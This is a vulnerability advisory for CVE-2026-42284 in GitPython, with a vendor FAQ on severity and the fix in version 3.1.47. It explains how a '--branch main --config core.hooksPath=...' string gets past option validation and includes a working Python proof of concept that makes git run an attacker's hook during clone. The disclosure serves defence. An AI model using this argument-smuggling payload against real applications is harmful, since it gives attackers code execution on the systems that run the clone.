CVE-2026-42284

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

CVE-2026-42284 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.47); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42284? CVE-2026-42284 is a high-severity security vulnerability in GitPython (pip), affecting versions < 3.1.47. It is fixed in 3.1.47.
2. How severe is CVE-2026-42284? CVE-2026-42284 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of GitPython are affected by CVE-2026-42284? GitPython (pip) versions < 3.1.47 is affected.
4. Is there a fix for CVE-2026-42284? Yes. CVE-2026-42284 is fixed in 3.1.47. Upgrade to this version or later.
5. Is CVE-2026-42284 exploitable, and should I be worried? Whether CVE-2026-42284 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42284 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42284? Upgrade GitPython to 3.1.47 or later.